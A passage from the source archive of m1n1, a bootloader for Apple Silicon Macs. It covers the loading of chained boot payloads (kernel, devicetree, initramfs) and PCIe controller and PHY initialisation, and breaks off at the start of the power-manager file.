*)*p; } else if (IS_VAR("chainload=")) { chainload_spec = val; } else if (IS_VAR("display=")) { display_configure(val); } else if (IS_VAR("tso=")) { enable_tso = val[0] == '1'; } else { printf("Unknown variable %s\n", *p); } *p = (u8 *)(end + 1); return true; } static void *load_one_payload(void *start, size_t size) { u8 *p = start; if (!start) return NULL; if (!memcmp(p, gz_magic, sizeof gz_magic)) { printf("Found a gzip compressed payload at %p\n", p); return decompress_gz(p, size); } else if (!memcmp(p, xz_magic, sizeof xz_magic)) { printf("Found an XZ compressed payload at %p\n", p); return decompress_xz(p, size); } else if (!memcmp(p, fdt_magic, sizeof fdt_magic)) { return load_fdt(p, size); } else if (!memcmp(p, cpio_magic, sizeof cpio_magic)) { printf("Found a cpio initramfs at %p\n", p); return load_cpio(p, size); } else if (!memcmp(p + 0x38, kernel_magic, sizeof kernel_magic)) { printf("Found a kernel at %p\n", p); return load_kernel(p, size); } else if (!memcmp(p, sig_magic, sizeof sig_magic)) { u32 size; memcpy(&size, p + 8, 4); printf("Found a m1n1 signature at %p, skipping 0x%x bytes\n", p, size); return p + size; } else if (!memcmp(p, initramfs_magic, sizeof(initramfs_magic))) { u32 size; memcpy(&size, p + sizeof(initramfs_magic), 4); printf("Found a m1n1 initramfs payload at %p, 0x%x bytes\n", p, size); p += sizeof(initramfs_magic) + 4; return load_cpio(p, size); } else if (check_var(&p)) { return p; } else if (!memcmp(p, empty, sizeof empty) || !memcmp(p + 0x05, img4_magic, sizeof img4_magic)) { // SEPFW after m1n1 printf("No more payloads at %p\n", p); return NULL; } else { printf("Unknown payload at %p (magic: %02x%02x%02x%02x)\n", p, p[0], p[1], p[2], p[3]); return NULL; } } void do_enable_tso(void) { u64 actlr = mrs(ACTLR_EL1); actlr |= BIT(1); // Enable TSO msr(ACTLR_EL1, actlr); } int payload_run(void) { const char *target = adt_getprop(adt, 0, "target-type", NULL); if (target) { strcpy(expect_compatible, "apple,"); char *p = expect_compatible + strlen(expect_compatible); while (*target && p != expect_compatible + sizeof(expect_compatible) - 1) { *p++ = tolower(*target++); } *p = 0; printf("Devicetree compatible value: %s\n", expect_compatible); } else { printf("Cannot find target type! %p %p\n", target, adt); return -1; } chosen_cnt = 0; void *p = _payload_start; while (p) p = load_one_payload(p, 0); if (chainload_spec) { return chainload_load(chainload_spec, chosen, chosen_cnt); } if (kernel && fdt) { cpufreq_init(); smp_start_secondaries(); if (enable_tso) { do_enable_tso(); for (int i = 0; i < MAX_CPUS; i++) { if (i == boot_cpu_idx) continue; if (smp_is_alive(i)) { smp_call0(i, do_enable_tso); smp_wait(i); } } kboot_set_chosen("apple,tso", ""); } for (size_t i = 0; i < chosen_cnt; i++) { char *val = memchr(chosen[i], '=', MAX_VAR_NAME + 1); assert(val); val[0] = 0; // Terminate var name if (kboot_set_chosen(chosen[i] + 7, val + 1) < 0) printf("Failed to kboot set %s='%s'\n", chosen[i], val); } if (kboot_prepare_dt(fdt)) { printf("Failed to prepare FDT!\n"); return -1; } return kboot_boot(kernel); } else if (kernel && !fdt) { printf("ERROR: Kernel found but no devicetree for %s available.\n", expect_compatible); } else if (!kernel && fdt) { printf("ERROR: Devicetree found but no kernel.\n"); } return -1; } m1n1-1.4.11/src/payload.h000066400000000000000000000001601453754430200147470ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef __PAYLOAD_H__ #define __PAYLOAD_H__ int payload_run(void); #endif m1n1-1.4.11/src/pcie.c000066400000000000000000000675771453754430200142620ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "adt.h" #include "pcie.h" #include "pmgr.h" #include "string.h" #include "tunables.h" #include "utils.h" /* * The ADT uses 17 register sets: * * 0: 90000000 00000006 10000000 00000000 ECAM * 1: 80000000 00000006 00040000 00000000 RC * 2: 80080000 00000006 00090000 00000000 PHY * 3: 800c0000 00000006 00020000 00000000 PHY IP * 4: 8c000000 00000006 00004000 00000000 AXI * 5: 3d2bc000 00000000 00001000 00000000 fuses * 6: 81000000 00000006 00008000 00000000 port 0 config * 7: 81010000 00000006 00001000 00000000 port 0 LTSSM debug * 8: 80084000 00000006 00004000 00000000 port 0 PHY * 9: 800c8000 00000006 00016610 00000000 port 0 PHY IP * 10: 82000000 00000006 00008000 00000000 port 1 config * 11: 82010000 00000006 00001000 00000000 port 1 LTSSM debug * 12: 80088000 00000006 00004000 00000000 port 1 PHY * 13: 800d0000 00000006 00006000 00000000 port 1 PHY IP <...> * 14: 83000000 00000006 00008000 00000000 port 2 config * 15: 83010000 00000006 00001000 00000000 port 2 LTSSM debug * 16: 8008c000 00000006 00004000 00000000 port 2 PHY * 17: 800d8000 00000006 00006000 00000000 port 2 PHY IP <...> */ /* PHY registers */ #define APCIE_PHY_CTRL 0x000 #define APCIE_PHY_CTRL_CLK0REQ BIT(0) #define APCIE_PHY_CTRL_CLK1REQ BIT(1) #define APCIE_PHY_CTRL_CLK0ACK BIT(2) #define APCIE_PHY_CTRL_CLK1ACK BIT(3) #define APCIE_PHY_CTRL_RESET BIT(7) #define APCIE_PHYIF_CTRL 0x024 #define APCIE_PHYIF_CTRL_RUN BIT(0) /* PHY common registers */ #define APCIE_PHYCMN_CLK 0x000 #define APCIE_PHYCMN_CLK_MODE GENMASK(1, 0) /* Guesswork */ #define APCIE_PHYCMN_CLK_MODE_ON 1 #define APCIE_PHYCMN_CLK_100MHZ BIT(31) /* Port registers */ #define APCIE_PORT_LINKSTS 0x208 #define APCIE_PORT_LINKSTS_UP BIT(0) #define APCIE_PORT_LINKSTS_BUSY BIT(2) #define APCIE_PORT_LINKSTS_L2 BIT(6) #define APCIE_PORT_APPCLK 0x800 #define APCIE_PORT_APPCLK_EN BIT(0) #define APCIE_PORT_STATUS 0x804 #define APCIE_PORT_STATUS_RUN BIT(0) #define APCIE_PORT_RESET 0x814 #define APCIE_PORT_RESET_DIS BIT(0) #define APCIE_T602X_PORT_RESET 0x82c #define APCIE_T602X_PORT_MSIMAP 0x3800 /* PCIe capability registers */ #define PCIE_CAP_BASE 0x70 #define PCIE_LNKCAP 0x0c #define PCIE_LNKCAP_SLS GENMASK(3, 0) #define PCIE_LNKCAP_MLW GENMASK(9, 4) #define PCIE_LNKCAP2 0x2c #define PCIE_LNKCAP2_SLS GENMASK(6, 1) #define PCIE_LNKCTL2 0x30 #define PCIE_LNKCTL2_TLS GENMASK(3, 0) /* DesignWare PCIe Core registers */ #define DWC_DBI_RO_WR 0x8bc #define DWC_DBI_RO_WR_EN BIT(0) #define DWC_DBI_PORT_LINK_CONTROL 0x710 #define DWC_DBI_PORT_LINK_DLL_LINK_EN BIT(5) #define DWC_DBI_PORT_LINK_FAST_LINK_MODE BIT(7) #define DWC_DBI_PORT_LINK_MODE GENMASK(21, 16) #define DWC_DBI_PORT_LINK_MODE_1_LANE 0x1 #define DWC_DBI_PORT_LINK_MODE_2_LANES 0x3 #define DWC_DBI_PORT_LINK_MODE_4_LANES 0x7 #define DWC_DBI_PORT_LINK_MODE_8_LANES 0xf #define DWC_DBI_PORT_LINK_MODE_16_LANES 0x1f #define DWC_DBI_LINK_WIDTH_SPEED_CONTROL 0x80c #define DWC_DBI_LINK_WIDTH GENMASK(12, 8) #define DWC_DBI_SPEED_CHANGE BIT(17) #define PHY_STRIDE 0x4000 #define PHYIP_STRIDE 0x40000 struct fuse_bits { u16 src_reg; u16 tgt_reg; u8 src_bit; u8 tgt_bit; u8 width; }; const struct fuse_bits pcie_fuse_bits_t8103[] = { {0x0084, 0x6238, 4, 0, 6}, {0x0084, 0x6220, 10, 14, 3}, {0x0084, 0x62a4, 13, 17, 2}, {0x0418, 0x522c, 27, 9, 2}, {0x0418, 0x522c, 13, 12, 3}, {0x0418, 0x5220, 18, 14, 3}, {0x0418, 0x52a4, 21, 17, 2}, {0x0418, 0x522c, 23, 16, 5}, {0x0418, 0x5278, 23, 20, 3}, {0x0418, 0x5018, 31, 2, 1}, {0x041c, 0x1204, 0, 2, 5}, {}, }; const struct fuse_bits pcie_fuse_bits_t6000[] = { {0x004c, 0x1004, 3, 2, 5}, {0x0048, 0x522c, 26, 16, 5}, {0x0048, 0x522c, 29, 9, 2}, {0x0048, 0x522c, 26, 12, 3}, {0x0048, 0x522c, 26, 16, 5}, {0x0048, 0x52a4, 24, 17, 2}, {0x004c, 0x5018, 2, 3, 1}, {0x0048, 0x50a4, 14, 17, 2}, {0x0048, 0x62a4, 14, 17, 2}, {0x0048, 0x6220, 8, 14, 3}, {0x0048, 0x6238, 2, 0, 6}, {}, }; /* clang-format off */ const struct fuse_bits pcie_fuse_bits_t8112[] = { {0x0490, 0x6238, 0, 0, 6}, {0x0490, 0x6220, 6, 14, 3}, {0x0490, 0x62a4, 12, 17, 2}, {0x0490, 0x5018, 14, 2, 1}, {0x0490, 0x5220, 15, 14, 3}, {0x0490, 0x52a4, 18, 17, 2}, {0x0490, 0x5278, 20, 20, 3}, {0x0490, 0x522c, 23, 12, 3}, {0x0490, 0x522c, 26, 9, 2}, {0x0490, 0x522c, 28, 16, 4}, {0x0494, 0x522c, 0, 20, 1}, {0x0494, 0x1204, 5, 2, 5}, {}, }; /* clang-format on */ enum apcie_type { APCIE_T81XX = 0, APCIE_T602X = 1, }; struct reg_info { enum apcie_type type; int shared_reg_count; int config_idx; int rc_idx; int phy_common_idx; int phy_idx; int phy_ip_idx; int axi_idx; int fuse_idx; bool alt_phy_start; }; static const struct reg_info regs_t8xxx_t600x = { .type = APCIE_T81XX, .shared_reg_count = 6, .config_idx = 0, .rc_idx = 1, .phy_common_idx = -1, .phy_idx = 2, .phy_ip_idx = 3, .axi_idx = 4, .fuse_idx = 5, }; static const struct reg_info regs_t602x = { .type = APCIE_T602X, .shared_reg_count = 8, .config_idx = 0, .rc_idx = 1, // 2 = phy unknown? .phy_common_idx = 3, .phy_idx = 4, .phy_ip_idx = 5, .axi_idx = 6, .fuse_idx = 7, }; static bool pcie_initialized = false; enum PCIE_CONTROLLERS { APCIE, APCIE_GE0, APCIE_GE1, NUM_CONTROLLERS, }; #define MAX_PHYS 4 struct state { int num_phys; u64 rc_base; u64 phy_common_base; u64 phy_base[MAX_PHYS]; u64 phy_ip_base[MAX_PHYS]; u64 fuse_base; u32 port_count; u64 port_base[8]; u64 port_ltssm_base[8]; u64 port_phy_base[8]; u64 port_intr2axi_base[8]; const struct reg_info *pcie_regs; bool initialized; }; static struct state controllers[NUM_CONTROLLERS]; static int pcie_init_controller(int controller, const char *path) { struct state *state = &controllers[controller]; int adt_path[8]; int adt_offset; u32 lane_mode = DWC_DBI_PORT_LINK_MODE_1_LANE; u32 link_width = 1; const struct fuse_bits *fuse_bits; state->initialized = false; state->num_phys = 1; adt_offset = adt_path_offset_trace(adt, path, adt_path); if (adt_offset < 0) { printf("pcie: Error getting node %s\n", path); return -1; } if (adt_is_compatible(adt, adt_offset, "apcie,t8103")) { fuse_bits = pcie_fuse_bits_t8103; state->pcie_regs = ®s_t8xxx_t600x; printf("pcie: Initializing t8103 PCIe controller\n"); } else if (adt_is_compatible(adt, adt_offset, "apcie,t6000")) { fuse_bits = pcie_fuse_bits_t6000; state->pcie_regs = ®s_t8xxx_t600x; printf("pcie: Initializing t6000 PCIe controller\n"); } else if (adt_is_compatible(adt, adt_offset, "apcie,t8112")) { fuse_bits = pcie_fuse_bits_t8112; state->pcie_regs = ®s_t8xxx_t600x; printf("pcie: Initializing t8112 PCIe controller\n"); } else if (adt_is_compatible(adt, adt_offset, "apcie,t6020")) { fuse_bits = NULL; state->pcie_regs = ®s_t602x; printf("pcie: Initializing t6020 PCIe controller\n"); } else if (adt_is_compatible(adt, adt_offset, "apcie-ge,t6020")) { u32 lane_cfg; fuse_bits = NULL; state->pcie_regs = ®s_t602x; printf("pcie: Initializing t6020 PCIe GE controller\n"); if (ADT_GETPROP(adt, adt_offset, "lane-cfg", &lane_cfg) < 0) { printf("pcie: Error getting lane_cfg for %s\n", path); return -1; } switch (lane_cfg) { case 0: state->num_phys = 4; lane_mode = DWC_DBI_PORT_LINK_MODE_16_LANES; link_width = 16; break; case 1: state->num_phys = 2; lane_mode = DWC_DBI_PORT_LINK_MODE_8_LANES; link_width = 8; break; default: printf("pcie: Unknown lane config %d for %s\n", lane_cfg, path); return -1; } } else { printf("pcie: Unsupported compatible\n"); return -1; } if (ADT_GETPROP(adt, adt_offset, "#ports", &state->port_count) < 0) { printf("pcie: Error getting port count for %s\n", path); return -1; } u64 config_base; if (adt_get_reg(adt, adt_path, "reg", state->pcie_regs->config_idx, &config_base, NULL)) { printf("pcie: Error getting reg with index %d for %s\n", state->pcie_regs->config_idx, path); return -1; } if (adt_get_reg(adt, adt_path, "reg", state->pcie_regs->rc_idx, &state->rc_base, NULL)) { printf("pcie: Error getting reg with index %d for %s\n", state->pcie_regs->rc_idx, path); return -1; } if (state->pcie_regs->phy_common_idx != -1) { if (adt_get_reg(adt, adt_path, "reg", state->pcie_regs->phy_common_idx, &state->phy_common_base, NULL)) { printf("pcie: Error getting reg with index %d for %s\n", state->pcie_regs->phy_idx, path); return -1; } } else { state->phy_common_base = 0; } if (adt_get_reg(adt, adt_path, "reg", state->pcie_regs->phy_idx, &state->phy_base[0], NULL)) { printf("pcie: Error getting reg with index %d for %s\n", state->pcie_regs->phy_idx, path); return -1; } if (adt_get_reg(adt, adt_path, "reg", state->pcie_regs->phy_ip_idx, &state->phy_ip_base[0], NULL)) { printf("pcie: Error getting reg with index %d for %s\n", state->pcie_regs->phy_ip_idx, path); return -1; } for (int phy = 1; phy < state->num_phys; phy++) { state->phy_base[phy] = state->phy_base[0] + PHY_STRIDE * phy; state->phy_ip_base[phy] = state->phy_ip_base[0] + PHYIP_STRIDE * phy; } if (adt_get_reg(adt, adt_path, "reg", state->pcie_regs->fuse_idx, &state->fuse_base, NULL)) { printf("pcie: Error getting reg with index %d for %s\n", state->pcie_regs->fuse_idx, path); return -1; } u32 reg_len; if (!adt_getprop(adt, adt_offset, "reg", ®_len)) { printf("pcie: Error getting reg length for %s\n", path); return -1; } int port_regs = (reg_len / 16) - state->pcie_regs->shared_reg_count; if (port_regs % state->port_count) { printf("pcie: %d port registers do not evenly divide into %d ports\n", port_regs, state->port_count); return -1; } int port_reg_cnt = port_regs / state->port_count; printf("pcie: ADT uses %d reg entries per port\n", port_reg_cnt); if (pmgr_adt_power_enable(path)) { printf("pcie: Error enabling power for %s\n", path); return -1; } if (tunables_apply_local(path, "apcie-axi2af-tunables", state->pcie_regs->axi_idx)) { printf("pcie: Error applying %s for %s\n", "apcie-axi2af-tunables", path); return -1; } /* ??? */ if (controller == APCIE) write32(state->rc_base + 0x4, 0); if (!adt_getprop(adt, adt_offset, "apcie-common-tunables", NULL)) { printf("pcie: No common tunables\n"); } else if (tunables_apply_local(path, "apcie-common-tunables", state->pcie_regs->rc_idx)) { printf("pcie: Error applying %s for %s\n", "apcie-common-tunables", path); return -1; } /* * Initialize PHY. */ if (!adt_getprop(adt, adt_offset, "apcie-phy-tunables", NULL)) { printf("pcie: No PHY tunables\n"); } else if (tunables_apply_local(path, "apcie-phy-tunables", state->pcie_regs->phy_idx)) { printf("pcie: Error applying %s for %s\n", "apcie-phy-tunables", path); return -1; } if (state->pcie_regs->type == APCIE_T602X) { if (poll32(state->phy_common_base + APCIE_PHYCMN_CLK, APCIE_PHYCMN_CLK_100MHZ, APCIE_PHYCMN_CLK_100MHZ, 250000)) { printf("pcie: Reference clock not available\n"); return -1; } } for (int phy = 0; phy < state->num_phys; phy++) { set32(state->phy_base[phy] + APCIE_PHY_CTRL, APCIE_PHY_CTRL_CLK0REQ); if (poll32(state->phy_base[phy] + APCIE_PHY_CTRL, APCIE_PHY_CTRL_CLK0ACK, APCIE_PHY_CTRL_CLK0ACK, 50000)) { printf("pcie: Timeout enabling PHY CLK0\n"); return -1; } set32(state->phy_base[phy] + APCIE_PHY_CTRL, APCIE_PHY_CTRL_CLK1REQ); if (poll32(state->phy_base[phy] + APCIE_PHY_CTRL, APCIE_PHY_CTRL_CLK1ACK, APCIE_PHY_CTRL_CLK1ACK, 50000)) { printf("pcie: Timeout enabling PHY CLK1\n"); return -1; } clear32(state->phy_base[phy] + APCIE_PHY_CTRL, APCIE_PHY_CTRL_RESET); udelay(1); /* ??? */ if (state->pcie_regs->type == APCIE_T81XX) { set32(state->rc_base + APCIE_PHYIF_CTRL, APCIE_PHYIF_CTRL_RUN); udelay(1); } else if (state->pcie_regs->type == APCIE_T602X) { set32(state->phy_base[phy] + 4, 0x01); } /* Apply "fuses". */ for (int i = 0; fuse_bits && fuse_bits[i].width; i++) { u32 fuse; fuse = (read32(state->fuse_base + fuse_bits[i].src_reg) >> fuse_bits[i].src_bit); fuse &= (1 << fuse_bits[i].width) - 1; mask32(state->phy_ip_base[phy] + fuse_bits[i].tgt_reg, ((1 << fuse_bits[i].width) - 1) << fuse_bits[i].tgt_bit, fuse << fuse_bits[i].tgt_bit); } char pll_prop[64]; char auspma_prop[64]; if (state->num_phys == 1) { strcpy(pll_prop, "apcie-phy-ip-pll-tunables"); strcpy(auspma_prop, "apcie-phy-ip-auspma-tunables"); } else { snprintf(pll_prop, sizeof(pll_prop), "apcie-phy-%d-ip-pll-tunables", phy); snprintf(auspma_prop, sizeof(auspma_prop), "apcie-phy-%d-ip-auspma-tunables", phy); } if (tunables_apply_local_addr(path, pll_prop, state->phy_ip_base[phy])) { printf("pcie: Error applying %s for %s\n", pll_prop, path); return -1; } if (tunables_apply_local_addr(path, auspma_prop, state->phy_ip_base[phy])) { printf("pcie: Error applying %s for %s\n", auspma_prop, path); return -1; } if (state->pcie_regs->type == APCIE_T602X) { set32(state->phy_base[phy] + 4, 0x10); } } if (state->pcie_regs->type == APCIE_T602X) { mask32(state->phy_common_base + APCIE_PHYCMN_CLK, APCIE_PHYCMN_CLK_MODE, FIELD_PREP(APCIE_PHYCMN_CLK_MODE, 1)); // Why always PHY 1 in this case? u32 off = state->num_phys > 1 ? PHY_STRIDE : 0; if (poll32(state->phy_base[0] + off + 0x8, 1, 1, 250000)) { printf("pcie: PHY clock enable timed out\n"); return -1; } for (int phy = 0; phy < state->num_phys; phy++) { set32(state->phy_base[phy] + APCIE_PHY_CTRL, 0x300); } write32(state->rc_base + 0x54, 0x140); write32(state->rc_base + 0x50, 0x1); if (poll32(state->rc_base + 0x58, 1, 1, 250000)) { printf("pcie: Failed to initialize RC thing\n"); return -1; } if (controller == APCIE) clear32(state->rc_base + 0x3c, 0x1); pmgr_adt_power_disable_index(path, 1); } for (u32 port = 0; port < state->port_count; port++) { char bridge[64]; int bridge_offset; /* * Initialize RC port. */ switch (controller) { case APCIE: snprintf(bridge, sizeof(bridge), "/arm-io/apcie/pci-bridge%d", port); break; case APCIE_GE0: strcpy(bridge, "/arm-io/apcie-ge0/pci-ge0-bridge"); break; case APCIE_GE1: strcpy(bridge, "/arm-io/apcie-ge1/pci-ge1-bridge"); break; } if ((bridge_offset = adt_path_offset(adt, bridge)) < 0) continue; printf("pcie: Initializing port %d\n", port); if (adt_get_reg(adt, adt_path, "reg", port * port_reg_cnt + state->pcie_regs->shared_reg_count, &state->port_base[port], NULL)) { printf("pcie: Error getting reg with index %d for %s\n", port * port_reg_cnt + state->pcie_regs->shared_reg_count, path); return -1; } if (adt_get_reg(adt, adt_path, "reg", port * port_reg_cnt + state->pcie_regs->shared_reg_count + 1, &state->port_ltssm_base[port], NULL)) { printf("pcie: Error getting reg with index %d for %s\n", port * port_reg_cnt + state->pcie_regs->shared_reg_count + 1, path); return -1; } if (adt_get_reg(adt, adt_path, "reg", port * port_reg_cnt + state->pcie_regs->shared_reg_count + 2, &state->port_phy_base[port], NULL)) { printf("pcie: Error getting reg with index %d for %s\n", port * port_reg_cnt + state->pcie_regs->shared_reg_count + 2, path); return -1; } if (port_reg_cnt >= 5) { if (adt_get_reg(adt, adt_path, "reg", port * port_reg_cnt + state->pcie_regs->shared_reg_count + 4, &state->port_intr2axi_base[port], NULL)) { printf("pcie: Error getting reg with index %d for %s\n", port * port_reg_cnt + state->pcie_regs->shared_reg_count + 4, path); return -1; } } else { state->port_intr2axi_base[port] = 0; } if (state->pcie_regs->type == APCIE_T602X) { set32(state->rc_base + 0x3c, 0x1); // ?????? if (controller == APCIE) write32(state->port_base[port] + 0x10, 0x2); write32(state->port_base[port] + 0x88, 0x110); write32(state->port_base[port] + 0x100, 0xffffffff); write32(state->port_base[port] + 0x148, 0xffffffff); write32(state->port_base[port] + 0x210, 0xffffffff); write32(state->port_base[port] + 0x80, 0x0); write32(state->port_base[port] + 0x84, 0x0); write32(state->port_base[port] + 0x104, 0x7fffffff); write32(state->port_base[port] + 0x124, 0x100); write32(state->port_base[port] + 0x16c, 0x0); write32(state->port_base[port] + 0x13c, 0x10); write32(state->port_base[port] + 0x800, 0x100100); write32(state->port_base[port] + 0x808, 0x1000ff); write32(state->port_base[port] + 0x82c, 0x0); for (int i = 0; i < 512; i++) write32(state->port_base[port] + APCIE_T602X_PORT_MSIMAP + 4 * i, 0); write32(state->port_base[port] + 0x397c, 0x0); if (controller == APCIE) write32(state->port_base[port] + 0x130, 0x3000000); else write32(state->port_base[port] + 0x130, 0x3000008); write32(state->port_base[port] + 0x140, 0x10); write32(state->port_base[port] + 0x144, 0x253770); write32(state->port_base[port] + 0x21c, 0x0); write32(state->port_base[port] + 0x834, 0x0); if (controller != APCIE) write32(state->port_base[port] + 0x83c, 0x0); } if (tunables_apply_local_addr(bridge, "apcie-config-tunables", state->port_base[port])) { printf("pcie: Error applying %s for %s\n", "apcie-config-tunables", bridge); return -1; } set32(state->port_base[port] + APCIE_PORT_APPCLK, APCIE_PORT_APPCLK_EN); if (state->pcie_regs->type == APCIE_T602X) { clear32(state->port_phy_base[port] + APCIE_PHY_CTRL, APCIE_PHY_CTRL_CLK0REQ | APCIE_PHY_CTRL_CLK1REQ); set32(state->port_phy_base[port] + APCIE_PHY_CTRL, APCIE_PHY_CTRL_CLK0REQ); if (poll32(state->port_phy_base[port] + APCIE_PHY_CTRL, APCIE_PHY_CTRL_CLK0ACK, APCIE_PHY_CTRL_CLK0ACK, 50000)) { printf("pcie: Timeout enabling PHY CLK0\n"); return -1; } set32(state->port_phy_base[port] + APCIE_PHY_CTRL, APCIE_PHY_CTRL_CLK1REQ); if (poll32(state->port_phy_base[port] + APCIE_PHY_CTRL, APCIE_PHY_CTRL_CLK1ACK, APCIE_PHY_CTRL_CLK1ACK, 50000)) { printf("pcie: Timeout enabling PHY CLK1\n"); return -1; } clear32(state->port_phy_base[port] + APCIE_PHY_CTRL, 0x4000); set32(state->port_phy_base[port] + APCIE_PHY_CTRL, 0x200); set32(state->port_phy_base[port] + APCIE_PHY_CTRL, 0x400); set32(state->port_base[port] + APCIE_T602X_PORT_RESET, APCIE_PORT_RESET_DIS); } else { /* PERSTN */ set32(state->port_base[port] + APCIE_PORT_RESET, APCIE_PORT_RESET_DIS); } if (poll32(state->port_base[port] + APCIE_PORT_STATUS, APCIE_PORT_STATUS_RUN, APCIE_PORT_STATUS_RUN, 250000)) { printf("pcie: Port failed to come up on %s\n", bridge); return -1; } if (state->pcie_regs->type == APCIE_T602X && controller != APCIE) { write32(state->port_ltssm_base[port] + 0x10, 0x2); write32(state->port_ltssm_base[port] + 0x1c, 0x4); set32(state->port_ltssm_base[port] + 0x20, 0x2); write32(state->port_ltssm_base[port] + 0x14, 0x1); clear32(state->port_base[port] + APCIE_PORT_APPCLK, 0x100); } if (poll32(state->port_base[port] + APCIE_PORT_LINKSTS, APCIE_PORT_LINKSTS_BUSY, 0, 250000)) { printf("pcie: Port failed to become idle on %s\n", bridge); return -1; } /* Do it again? */ if (state->pcie_regs->type == APCIE_T602X && controller == APCIE) { clear32(state->port_base[port] + APCIE_T602X_PORT_RESET, APCIE_PORT_RESET_DIS); set32(state->port_base[port] + APCIE_T602X_PORT_RESET, APCIE_PORT_RESET_DIS); if (poll32(state->port_base[port] + APCIE_PORT_LINKSTS, APCIE_PORT_LINKSTS_BUSY, 0, 250000)) { printf("pcie: Port failed to become idle (2) on %s\n", bridge); return -1; } udelay(1000); write32(state->port_ltssm_base[port] + 0x10, 0x2); write32(state->port_ltssm_base[port] + 0x1c, 0x4); set32(state->port_ltssm_base[port] + 0x20, 0x2); write32(state->port_ltssm_base[port] + 0x14, 0x1); } /* Make Designware PCIe Core registers writable. */ set32(config_base + DWC_DBI_RO_WR, DWC_DBI_RO_WR_EN); if (tunables_apply_local_addr(bridge, "pcie-rc-tunables", config_base)) { printf("pcie: Error applying %s for %s\n", "pcie-rc-tunables", bridge); return -1; } if (tunables_apply_local_addr(bridge, "pcie-rc-gen3-shadow-tunables", config_base)) { printf("pcie: Error applying %s for %s\n", "pcie-rc-gen3-shadow-tunables", bridge); return -1; } if (tunables_apply_local_addr(bridge, "pcie-rc-gen4-shadow-tunables", config_base)) { printf("pcie: Error applying %s for %s\n", "pcie-rc-gen4-shadow-tunables", bridge); return -1; } u32 max_speed; if (ADT_GETPROP(adt, bridge_offset, "maximum-link-speed", &max_speed) >= 0) { /* Some devices override "maximum-link-speed" in the device child nodes. * The property used for the link speed seems to be ad-hoc made up. * The 10 GB ethernet adapter uses "target-link-speed" and the SD card * reader uses "expected-link-speed". Assume that PCIe link speed override * resides in the first (only?) child node. */ if (max_speed == 1) { int np = adt_first_child_offset(adt, bridge_offset); if (np >= 0) { int target_speed; if (ADT_GETPROP(adt, np, "target-link-speed", &target_speed) >= 0 && target_speed > 0) { max_speed = target_speed; } else if (ADT_GETPROP(adt, np, "expected-link-speed", &target_speed) >= 0 && target_speed > 0) { max_speed = target_speed; } } } printf("pcie: Port %d max speed = %d\n", port, max_speed); if (max_speed == 0) { printf("pcie: Invalid max-speed\n"); return -1; } mask32(config_base + PCIE_CAP_BASE + PCIE_LNKCAP, PCIE_LNKCAP_SLS, FIELD_PREP(PCIE_LNKCAP_SLS, max_speed)); mask32(config_base + PCIE_CAP_BASE + PCIE_LNKCAP2, PCIE_LNKCAP2_SLS, FIELD_PREP(PCIE_LNKCAP2_SLS, (1 << max_speed) - 1)); mask16(config_base + PCIE_CAP_BASE + PCIE_LNKCTL2, PCIE_LNKCTL2_TLS, FIELD_PREP(PCIE_LNKCTL2_TLS, max_speed)); set32(config_base + DWC_DBI_LINK_WIDTH_SPEED_CONTROL, DWC_DBI_SPEED_CHANGE); } /* Max link width */ mask32(config_base + DWC_DBI_PORT_LINK_CONTROL, DWC_DBI_PORT_LINK_MODE, FIELD_PREP(DWC_DBI_PORT_LINK_MODE, lane_mode)); mask32(config_base + DWC_DBI_LINK_WIDTH_SPEED_CONTROL, DWC_DBI_LINK_WIDTH, FIELD_PREP(DWC_DBI_LINK_WIDTH, link_width)); mask32(config_base + PCIE_CAP_BASE + PCIE_LNKCAP, PCIE_LNKCAP_MLW, FIELD_PREP(PCIE_LNKCAP_MLW, link_width)); /* Make Designware PCIe Core registers readonly. */ clear32(config_base + DWC_DBI_RO_WR, DWC_DBI_RO_WR_EN); if (state->pcie_regs->type == APCIE_T602X) { write32(state->port_base[port] + 0x4020, 0x3); if (state->port_intr2axi_base[port]) write32(state->port_intr2axi_base[port] + 0x80, 0x1); clear32(state->rc_base + 0x3c, 0x1); for (int i = 0; i < 32; i++) write32(state->port_base[port] + APCIE_T602X_PORT_MSIMAP + 4 * i, 0x80000000 | i); } read32(state->port_base[port] + APCIE_PORT_LINKSTS); /* Move to the next PCIe device on this bus. */ config_base += (1 << 15); } printf("pcie: Initialized controller %d\n", controller); state->initialized = true; return 0; } int pcie_init(void) { bool success = false; if (pcie_initialized) return 0; success |= pcie_init_controller(APCIE, "/arm-io/apcie") == 0; success |= pcie_init_controller(APCIE_GE0, "/arm-io/apcie-ge0") == 0; success |= pcie_init_controller(APCIE_GE1, "/arm-io/apcie-ge1") == 0; if (success) pcie_initialized = true; return success ? 0 : -1; } int pcie_shutdown(void) { if (!pcie_initialized) return 0; for (u32 controller = 0; controller < NUM_CONTROLLERS; controller++) { struct state *state = &controllers[controller]; if (!state->initialized) continue; for (u32 port = 0; port < state->port_count; port++) { if (state->pcie_regs->type == APCIE_T602X) clear32(state->port_base[port] + APCIE_T602X_PORT_RESET, APCIE_PORT_RESET_DIS); else clear32(state->port_base[port] + APCIE_PORT_RESET, APCIE_PORT_RESET_DIS); clear32(state->port_base[port] + APCIE_PORT_APPCLK, APCIE_PORT_APPCLK_EN); } for (int phy = 0; phy < state->num_phys; phy++) { clear32(state->phy_base[phy] + APCIE_PHY_CTRL, APCIE_PHY_CTRL_RESET); clear32(state->phy_base[phy] + APCIE_PHY_CTRL, APCIE_PHY_CTRL_CLK1REQ); clear32(state->phy_base[phy] + APCIE_PHY_CTRL, APCIE_PHY_CTRL_CLK0REQ); } state->initialized = false; } pcie_initialized = false; printf("pcie: Shutdown.\n"); return 0; } m1n1-1.4.11/src/pcie.h000066400000000000000000000001711453754430200142400ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef PCIE_H #define PCIE_H int pcie_init(void); int pcie_shutdown(void); #endif m1n1-1.4.11/src/pmgr.c000066400000000000000000000250261453754430200142660ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "pmgr.h" #include "adt.h" #include "string.h" #include "types.h" #include "utils.h" #define PMGR_RESET BIT(31) #define PMGR_AUTO_ENABLE BIT(28) #define PMGR_PS_AUTO GENMASK(27, 24) #define PMGR_PARENT_OFF BIT(11) #define PMGR_DEV_DISABLE BIT(10) #define PMGR_WAS_CLKGATED BIT(9) #define PMGR_WAS_PWRGATED BIT(8) #define PMGR_PS_ACTUAL GENMASK(7, 4) #define PMGR_PS_TARGET GENMASK(3, 0) #define PMGR_POLL_TIMEOUT 10000 #define PMGR_FLAG_VIRTUAL 0x10 struct pmgr_device { u32 